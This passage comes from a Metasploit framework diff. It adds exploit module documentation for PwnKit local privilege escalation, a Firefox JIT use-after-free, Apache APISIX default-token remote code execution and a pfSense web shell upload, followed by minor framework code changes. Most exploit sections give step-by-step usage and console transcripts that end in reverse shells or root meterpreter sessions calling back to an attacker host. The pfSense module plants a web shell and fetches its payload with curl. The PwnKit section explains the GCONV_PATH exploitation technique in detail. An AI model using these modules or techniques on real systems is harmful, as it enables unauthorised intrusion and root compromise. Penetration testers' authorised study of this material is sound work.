without a payload to execute. Patched versions exit and give the `help` output if executed
with no arguments.
First Patched Ubuntu packages:
- 20.04: 0.105-26ubuntu1.2
- 21.10: 0.105-31ubuntu0.1
- 18.04: 0.105-20ubuntu0.18.04.6
Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py
First Patched Debian Packages:
- stretch: 0.105-18+deb9u2
- buster: 0.105-25+deb10u1
- bullseye: 0.105-31+deb11u1
Source: https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py
Vulnerable CentOS Packages:
- polkit-0.112-5.ael7b
- polkit-0.112-13.p1.el7a
- polkit-0.96-2.el6
- polkit-0.96-2.el6_0.1
- polkit-0.96-5.el6_4
- polkit-0.96-7.el6
- polkit-0.96-7.el6_6.1
- polkit-0.96-11.el6
- polkit-0.96-11.el6_10.1
- polkit-0.112-1.el7
- polkit-0.112-5.el7
- polkit-0.112-6.el7_2
- polkit-0.112-7.el7_2.2
- polkit-0.112-7.el7_2.3
- polkit-0.112-7.el7_2
- polkit-0.112-9.el7
- polkit-0.112-11.el7_3
- polkit-0.112-12.el7_3
- polkit-0.112-12.el7_4.1
- polkit-0.112-14.el7
- polkit-0.112-14.el7_5.1
- polkit-0.112-17.el7
- polkit-0.112-18.el7
- polkit-0.112-18.el7_6.1
- polkit-0.112-18.el7_6.2
- polkit-0.112-22.el7
- polkit-0.112-22.el7_7.1
- polkit-0.112-26.el7
- polkit-0.115-6.el8
- polkit-0.115-9.el8
- polkit-0.115-9.el8_1.1
- polkit-0.115-11.el8
- polkit-0.115-11.el8_2.1
- polkit-0.115-11.el8_3.2
- polkit-0.115-11.el8_4.1
- polkit-0.115-12.el8
Source: https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/
### Fedora:
Fedora should be vulnerable, and the pkexec binary will respond like it is vulnerable, but
the exploit will fail. I don't know why, but it still fails with SELinux disabled or using the
original PoCs that compiled a binary on target. The check method just bails if it sees Fedora.
```
msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Fedora 33 (Linux 5.8.15-301.fc33.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > shell
Process 2396 created.
Channel 5 created.
sestatus
SELinux status: disabled
exit
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 1
session => 1
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set verbose true
verbose => true
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set auto
set autocheck set autorunscript set autounhookprocess
set autoloadstdapi set autosysteminfo set autoverifysessiontimeout
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set autoCheck false
autoCheck => false
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > check
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Found pkexec version 0.117
[*] The target is not exploitable. Fedora is not supported
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 10.5.135.101:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Creating directory /tmp/.wqogdpzub
[*] /tmp/.wqogdpzub created
[*] Writing '/tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.wqogdpzub
[*] Running python /tmp/.wqogdpzub/.skihoukdb /usr/bin/pkexec /tmp/.wqogdpzub/kfmlrhrqi/kfmlrhrqi.so kfmlrhrqi jdtnqzvqn
[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “jdtnqzvqn”
The value for the SHELL variable was not found the /etc/shells file
This incident has been reported.
[*] Exploit completed, but no session was created.
```
### RedHat:
Untested on Redhat, but I assume similar to Fedora.
## Summary
Polkit's pkexec binary is a bit like sudo in that it allows users to run an application as another user.
For instance, when you run something like `pkexec ls` you'll be prompted for the root user's password.
Because it allows elevated launching of programs, pkexec runs as root.
Processes that run like this are considered special and are run in a Secure-execution mode, which causes
the dynamic linker (ld.so) to strip out problematic environment variables that could introduce security
concerns. One of these "untrusted" environment variables stripped out by the linker is `GCONV_PATH`, which
sets the location for text conversion libraries. If a binary needs to convert a text string to a different
encoding, it will load/execute the library specified by `GCONV_PATH`.
For example, if we could get pkexec to run with the environment string `GCONV_PATH=./exploit`, pkexec would
load and execute the exploit as root if we were able to coerce the binary to use an unknown charset. This
is why the dynamic linker prevents such an environment variable from being passed into secure-execution mode
binaries.
The check to prevent `GCONV_PATH` environment variables is done when a program loads, so if we can modify
the environment variables after the program loads, we could add it, but as the process runs as root, we
could not change those values ourselves.
This is where the logic flaw in pkexec can be abused. pkexec runs through each argument it is passed and
calls `g_find_program_in_path` which takes a filename and replaces the filename with the full path to the
file, according to its `PATH` environment. Since there can be multiple binaries, this is done within a
loop. The specific bug in pkexec is that the loop will always run at least once, even if the number of
arguments is 0.
If the number of arguments is 0, then it will still attempt to resolve the element it pulls from memory
at the location the first argument would have been located. Because of how the stack is structured,
environment variables are located right after argument values in memory, so if there are no argument values,
then the environment values are there. The exploit works by coercing `g_find_program_in_path` into
writing `GCONV_PATH=./exploit` into the first slot in the environment list.
We can do this by creating a folder in the `PATH` called `GCONV_PATH=.` and within that folder, place a
file named `abc`. We also add the directory `GCONV_PATH` to the `PATH` environment variable. Now, when
we launch pkexec without any arguments, but with `abc` as the first environment variable and `PATH=GCONV_PATH=`
as the second, `g_find_program_in_path` will look for `abc` in the folder `GCONV_PATH=.` and find it.
It will then overwrite the first environment variable withe the full path to the file as it exists in
our PATH: `GCONV_PATH=./abc` or exactly what we'd like to have as our environment variable.
Now, if we can coerce pkexec to use an unknown charset, it will load the library `./abc.so` which we'll make
the name of our payload.
We can coerce the loading of the .so by adding another environment variable declaring some unknown
charset: `CHARSET=garbage` would work fine if we could get pkexec to need to write a log. We can
get it to write a log by giving a bad value for something it depends on. In our case, we're using
the `SHELL` environment variable.
So, to sum up, if we give pkexec a bad value for the `SHELL` environment variable and an unknown charset
to encode, it will load the .so file specified by `GCONV_PATH` and run it as root in an attempt to
encode to the unknown charset.
To break it down, we need to place a .so payload binary in our current working directory called
`abc.so` and call pkexec with no arguments and the environment values:
`abc`
`PATH=GCONV_PATH=.`
`SHELL=/garbage`
`CHARSET=garbage`
Once `g_find_program_in_path` runs, the environment variables will be changed to:
`GCONV_PATH=./abc.so`
`PATH=GCONV_PATH=.`
`SHELL=/garbage`
`CHARSET=garbage`
The result will be that pkexec errors while trying to encode test to the non-existant charset, causing it to
load the provided abc.so file in the root context.
## Verification
* Start `msfconsole`
* Get a non-root shell/meterpreter
* use `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`
* set SESSION `<session-id>`
* set LHOST `<lhost-IP>`
* `run`
## Options
### WRITEABLE_DIR
This indicates the location where you would like the payload and exploit stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is `/tmp`
### PKEXEC_PATH
This indicates the location of the `pkexec` binary. Normally, the module can find the it without help.
It defaults to nil.
## Advanced Options
### FinalDir
This indicates the starting directory for the new root-enabled session. The module deletes the working directory
out from under the running payload, so the current working directory for the new session will not exist, and that
can result in odd errors, so we just change to a directory that does exist before user interaction.
It defaults to `/`
## Scenarios
```
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION 1 yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.5.135.101 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 x86_64
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 10.5.135.101:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Found pkexec version 0.105
[*] Determined host os is Ubuntu
[*] Polkit package version = 0.105-26ubuntu1
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Creating directory /tmp/.pacfbr
[*] /tmp/.pacfbr created
[!] Verify cleanup of /tmp/.pacfbr
[*] Running python3 /tmp/.pacfbr/.jxkiwyj /usr/bin/pkexec /tmp/.pacfbr/khmtpqj/khmtpqj.so khmtpqj mbbidsfl
[*] GLib: Cannot convert message: Could not open converter from “UTF-8” to “mbbidsfl”
The value for the SHELL variable was not found the /etc/shells file
This incident has been reported.
[+] The target is vulnerable.
[*] Checking for pkexec
[*] Checking for /usr/bin/pkexec
[*] Found pkexec here: /usr/bin/pkexec
[*] Creating directory /tmp/.lukbdme
[*] /tmp/.lukbdme created
[*] Writing '/tmp/.lukbdme/rnaxcz/rnaxcz.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.lukbdme
[*] Running python3 /tmp/.lukbdme/.iwksanwva /usr/bin/pkexec /tmp/.lukbdme/rnaxcz/rnaxcz.so rnaxcz jnagcbkqds
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 10.5.132.107
[+] Deleted /tmp/.lukbdme/rnaxcz/rnaxcz.so
[+] Deleted /tmp/.lukbdme/.iwksanwva
[!] Attempting to delete working directory /tmp/.lukbdme
[!] Attempting to delete working directory /tmp/.lukbdme
[*] Meterpreter session 3 opened (10.5.135.101:4444 -> 10.5.132.107:54758 ) at 2022-03-01 14:40:18 -0600
meterpreter > sysinfo
Computer : 10.5.132.107
OS : Ubuntu 20.04 (Linux 5.4.0-42-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter > pwd
/
meterpreter >
```
**Reference:** https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
@@ -0,0 +1,117 @@
## Vulnerable Application
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
in an exploitable use-after-free condition.
This exploit uses a somewhat novel technique of spraying ArgumentsData
structures in order to construct primitives. The shellcode is forced into
executable memory via the JIT compiler, and executed by writing to the JIT
region pointer.
This exploit does not contain a sandbox escape, so firefox must be run
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
for the shellcode to run successfully.
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
Thunderbird < 78.4.2, however only Firefox < 82 is supported as a target.
Additional work may be needed to support other versions such as Firefox 82.0.1.
**Vulnerable Application Installation Steps**
You can download and run a vulnerable firefox version on Linux with the following commands:
```
wget https://ftp.mozilla.org/pub/firefox/releases/79.0/linux-x86_64/en-US/firefox-79.0.tar.bz2
tar xvf firefox-79.0.tar.bz2
cd firefox
MOZ_DISABLE_CONTENT_SANDBOX=1 ./firefox
```
You can also download a vulnerable firefox version for Windows from the following location:
[https://ftp.mozilla.org/pub/firefox/releases/79.0/win64/en-US/](https://ftp.mozilla.org/pub/firefox/releases/79.0/win64/en-US/)
## Verification Steps
1. Do: `use exploit/multi/browser/firefox_jit_use_after_free`
1. Do: `set payload [PAYLOAD]`
1. Do: `set URIPATH /`
1. Do: `set LHOST [IP]`
1. Do: `set SRVHOST [IP]`
1. Do: `exploit`
## Options
### DEBUG_EXPLOIT
Show debug information during exploitation. This will display details of the exploit during exploitation, which is useful for debugging.
## Scenarios
### Windows 10 and Firefox 79.0 with MOZ_DISABLE_CONTENT_SANDBOX=1
Start firefox without a sandbox with the following .bat file:
```
@echo off
set MOZ_DISABLE_CONTENT_SANDBOX=1
"C:\Program Files (x86)\Mozilla Firefox\firefox.exe"
```
```
msf6 > use exploit/multi/browser/firefox_jit_use_after_free
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH /
URIPATH => /
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(multi/browser/firefox_jit_use_after_free) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.3 firefox_jit_use_after_free - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
[*] Sending stage (200262 bytes) to 192.168.56.3
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49737 ) at 2022-02-16 08:23:53 +0000
```
### Ubuntu 18 and Firefox 79.0 with MOZ_DISABLE_CONTENT_SANDBOX=1 and DEBUG_EXPLOIT enabled
Start Firefox without a sandbox, e.g:
`MOZ_DISABLE_CONTENT_SANDBOX=1 ./firefox`
```
msf6 > use exploit/multi/browser/firefox_jit_use_after_free
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set URIPATH /
URIPATH => /
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(multi/browser/firefox_jit_use_after_free) > set DEBUG_EXPLOIT true
DEBUG_EXPLOIT => true
msf6 exploit(multi/browser/firefox_jit_use_after_free) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/browser/firefox_jit_use_after_free) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.1 firefox_jit_use_after_free - Sending / to Mozilla/5.0 (X11; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
[*] 192.168.56.1 firefox_jit_use_after_free - [+] got the corrupted array 16384
[*] 192.168.56.1 firefox_jit_use_after_free - [+] Leaked nursery location: 4aee8a4f6d8
[*] 192.168.56.1 firefox_jit_use_after_free - [+] AD location: 7f27fb9cc000
[*] 192.168.56.1 firefox_jit_use_after_free - [+] AB Location: 7f27e7200000
[*] 192.168.56.1 firefox_jit_use_after_free - [+] Function is at: 10d4c755fac0
[*] 192.168.56.1 firefox_jit_use_after_free - [+] jitinfo: 10d4c7564150
[*] 192.168.56.1 firefox_jit_use_after_free - [+] RX Region: 3774356d0e50
[*] 192.168.56.1 firefox_jit_use_after_free - [+] Shellcode start: 3774356d1030
[*] 192.168.56.1 firefox_jit_use_after_free - [*] Triggering...
[*] Sending stage (3020772 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.1:34946 ) at 2022-02-16 08:18:11 +0000
```
@@ -0,0 +1,65 @@
## Vulnerable Application
A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution.
The Apache APISIX has a default API token `edd1c9f034335f136f87ad84b625c8f1` defined at `conf/config.yaml` and in its default configuration
doesn't come with the `ip-restriction` plugin enabled. This allows any user to add a new route in its default configuration. By leveraging
the feature `script` added in the 2.x version an user can add a route which leads to the remote LUA code execution (CVE-2020-13945). Even if
ip-restriction is enabled, this exploit can leverage the vulnerability CVE-2022-24112 to circumvent that restriction.
This module was tested using a vulnerable docker container as available on the
[vulnhub](https://github.com/vulhub/apisix/CVE-2020-13945/docker-compose.yml) project.
If we have the API token we can execute command using the parameter `filter_func` or `script`, and if there is an IP restriction
enabled by the plugin ip-restriction we can bypass this restriction if the batch-requests plugin is also enabled.
### Version and OS
This module has been tested successfully on Apache APISIX 2.2, 2.6, 2.11.0 and 2.12.1
## Verification Steps
Confirm that functionality works:
1. Start `msfconsole`
2. `use exploit/multi/http/apache_apisix_api_default_token_rce`
3. set `RHOSTS` and `RPORT`
4. Confirm the target is vulnerable: `check`
5. Confirm that the target is vulnerable: `The target is vulnerable.`
6. It come already with a default payload `cmd/unix/reverse_bash`
7. set `LHOST` and `LPORT`
8. `exploit`
9. Confirm you have now a cmd session
## Options
### TARGETURI (required)
The path to the APISIX routes controller (Default: `/apisix`).
### API_KEY (required)
The admin API KEY for APISIX (Default: `edd1c9f034335f136f87ad84b625c8f1`).
### ALLOWED_IP (required)
An IP address that is knew to be in the allowed list (Default: `127.0.0.1`).
## Scenarios
```
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) > run rhosts=127.0.0.1 rport=9080 lhost=docker0 lport=4444
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking component version to 127.0.0.1:9080
[+] The target appears to be vulnerable.
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.4:48162 ) at 2022-02-28 18:32:50 +0100
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
uname -a
Linux 58f5aba16de9 5.16.8-arch1-1 #1 SMP PREEMPT Tue, 08 Feb 2022 21:21:08 +0000 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/http/apache_apisix_api_default_token_rce) >
```
@@ -0,0 +1,162 @@
## Vulnerable Application
### Description
This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface
(CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an
authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege.
This module uses the vulnerability to create a web shell and execute payloads with root privileges.
### Installation
Download an affected version's ISO. For example, pfSense 2.5.2 can be download here:
https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz
* Follow the [installation guide](https://docs.netgate.com/pfsense/en/latest/install/install-pfsense.html) to get an initial base install.
* Log into the web interface using the credentials `admin:pfsense`
* Run through the [setup wizard](https://docs.netgate.com/pfsense/en/latest/config/setup-wizard.html).
To test a user that *only* has the `WebCfg - Diagnostics: Routing tables` privilege, as an
`admin` create a new user. The add user interface is in the `System` -> `User Manager` page.
Select the `Add` user button and create the user. Once the user is created, edit the user
and `Add` an `Effective Privilege`. Only assign `WebCfg - Diagnostics: Routing tables`. Done!
## Verification Steps
* Follow the installation instructions above
* Do: `use exploit/unix/http/pfsense_diag_routes_webshell`
* Do: `set username <name>`
* Do: `set password <password>`
* Do: `set RHOST <ip>`
* Do: `check`
* Verify the remote target is flagged as vulnerable
* Do: `set LHOST <ip>`
* Do: `exploit`
* You should get a reverse shell
## Options
### TARGETURI
Specifies base URI. The default value is `/`.
### USERNAME
The username to log in to the pfSense web interface with. The default is `admin`.
### PASSWORD
The password to log in with. Set to `pfsense` by default.
### WEBSHELL_NAME
Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
Set to `nil` by default.
### DELETE_WEBSHELL
Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a
web shell for persistence reasons. The default is `true`.
### Target 0
Target 0 is a `CMD_ARCH` reverse shell using openssl.
### Target 1
Target 1 is a `bsd/x64` reverse shell using the curl command stager.
## Scenarios
### pfSense 2.5.2. Reverse shell using openssl cmd_arch payload.
```
msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
USERNAME => diag_only
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
RHOST => 10.0.0.10
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
[!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target
[+] 10.0.0.10:80 - The target is vulnerable.
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /dgGNIYHKgUL.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /dgGNIYHKgUL.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/kDumgxJC
[*] Local IP: http://10.0.0.2:8080/kDumgxJC
[*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (109/109 bytes)
[+] Deleted /usr/local/www/hrCcgfpdiGhC
[+] Deleted /usr/local/www/dgGNIYHKgUL.php
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel)
pwd
/usr/local/www
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
```
### pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager.
```
msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
USERNAME => diag_only
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
RHOST => 10.0.0.10
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check
[!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target
[+] 10.0.0.10:80 - The target is vulnerable.
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /xsYZjKyayH.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /xsYZjKyayH.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t
[*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t
[*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (114/114 bytes)
[+] Deleted /usr/local/www/MkTcoNc
[+] Deleted /usr/local/www/xsYZjKyayH.php
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800
[*] Server stopped.
id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
pwd
/usr/local/www
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
```
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.1.32"
VERSION = "6.1.33"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+4 -1
View File
@@ -73,6 +73,10 @@ class Meterpreter < Rex::Post::Meterpreter::Client
opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert']
end
if opts[:datastore] and opts[:datastore]['SessionTlvLogging']
opts[:tlv_log] = opts[:datastore]['SessionTlvLogging']
end
# Don't pass the datastore into the init_meterpreter method
opts.delete(:datastore)
@@ -736,4 +740,3 @@ end
end
end
+11 -6
View File
@@ -75,7 +75,7 @@ class EncodedPayload
# If encoder is set, it could be an encoders list
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
if reqs['Encoder']
unless reqs['Encoder'].blank?
encoder_str = reqs['Encoder']
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
reqs['Encoder'] = encoder_opt[0]
@@ -129,6 +129,10 @@ class EncodedPayload
# encoded attribute.
#
def encode
# Get the minimum number of nops to use
min = (reqs['MinNops'] || 0).to_i
min = 0 if reqs['DisableNops']
# If the exploit needs the payload to be encoded, we need to run the list of
# encoders in ranked precedence and try to encode with them.
if needs_encoding
@@ -245,10 +249,6 @@ class EncodedPayload
break
end
# Get the minimum number of nops to use
min = (reqs['MinNops'] || 0).to_i
min = 0 if reqs['DisableNops']
# Check to see if we have enough room for the minimum requirements
if ((reqs['Space']) and (reqs['Space'] < eout.length + min))
wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}",
@@ -284,6 +284,11 @@ class EncodedPayload
ilog("#{pinst.refname}: payload contains no badchars, skipping automatic encoding", 'core', LEV_0)
end
if reqs['Space'] and (reqs['Space'] < raw.length + min)
wlog("#{pinst.refname}: Raw (unencoded) payload is too large (#{raw.length} bytes)", 'core', LEV_1)
raise PayloadSpaceViolation, 'The payload exceeds the specified space', caller
end
self.encoded = raw
end
@@ -530,7 +535,7 @@ protected
attr_accessor :reqs
def needs_encoding
reqs['Encoder'] || reqs['ForceEncode'] || has_chars?(reqs['BadChars'])
!reqs['Encoder'].blank? || reqs['ForceEncode'] || has_chars?(reqs['BadChars'])
end
def has_chars?(chars)
+2
View File
@@ -125,6 +125,8 @@ module Exploit::EXE
if plat.index(Msf::Module::Platform::Linux)
if opts[:arch] && opts[:arch].index(ARCH_X64)
dll = Msf::Util::EXE.to_linux_x64_elf_dll(framework, pl,opts)
elsif opts[:arch] && opts[:arch].index(ARCH_AARCH64)
dll = Msf::Util::EXE.to_linux_aarch64_elf_dll(framework, pl,opts)
end
elsif plat.index(Msf::Module::Platform::Windows)
if opts[:arch] && opts[:arch].index(ARCH_X64)
@@ -0,0 +1,64 @@
module Msf
###
#
# This module provides methods for browser exploitation via javascript
#
###
module Exploit::Remote::HttpServer::BrowserExploit
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super
register_advanced_options(
[
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
], Exploit::Remote::HttpServer::BrowserExploit
)
end
def start_service(opts = {})
super(opts)
if datastore['DEBUG_EXPLOIT']
add_print_status_resource
end
end
def add_print_status_resource
proc = Proc.new do |cli, req|
print_status("[*] #{req.body}")
send_response(cli, '')
end
vprint_status('Adding hardcoded URI /print')
begin
add_resource('Path' => '/print', 'Proc' => proc)
rescue RuntimeError => e
print_warning(e.message)
end
end
def add_debug_print_js(jscript)
if datastore['DEBUG_EXPLOIT']
debugjs = <<~JS
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
JS
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
jscript
end
end
end
+21 -15
View File
@@ -80,7 +80,7 @@ module Exploit::Remote::SMTPDeliver
if res =~ /STARTTLS/
print_status("Starting tls")
raw_send_recv("STARTTLS\r\n", nsock)
smtp_send_recv("STARTTLS\r\n", nsock)
[:high, :medium, :default].each do |level|
begin
@@ -91,12 +91,12 @@ module Exploit::Remote::SMTPDeliver
print_status 'Could not negotiate SSL, falling back to older ciphers'
nsock.close
nsock, res = connect_ehlo(global)
raw_send_recv("STARTTLS\r\n", nsock)
smtp_send_recv("STARTTLS\r\n", nsock)
raise if level == :default
end
end
res = raw_send_recv("EHLO #{domain}\r\n", nsock)
res = smtp_send_recv("EHLO #{domain}\r\n", nsock)
end
unless datastore['PASSWORD'].empty? and datastore["USERNAME"].empty?
@@ -106,7 +106,7 @@ module Exploit::Remote::SMTPDeliver
# Have to double the username. SMTP auth is weird
user = "#{datastore["USERNAME"]}\0" * 2
auth = Rex::Text.encode_base64("#{user}#{datastore["PASSWORD"]}")
res = raw_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
res = smtp_send_recv("AUTH PLAIN #{auth}\r\n", nsock)
unless res[0..2] == '235'
print_error("Authentication failed, quitting")
disconnect(nsock)
@@ -119,9 +119,9 @@ module Exploit::Remote::SMTPDeliver
if datastore["USERNAME"] and not datastore["USERNAME"].empty?
user = Rex::Text.encode_base64("#{datastore["USERNAME"]}")
auth = Rex::Text.encode_base64("#{datastore["PASSWORD"]}")
raw_send_recv("AUTH LOGIN\r\n",nsock)
raw_send_recv("#{user}\r\n",nsock)
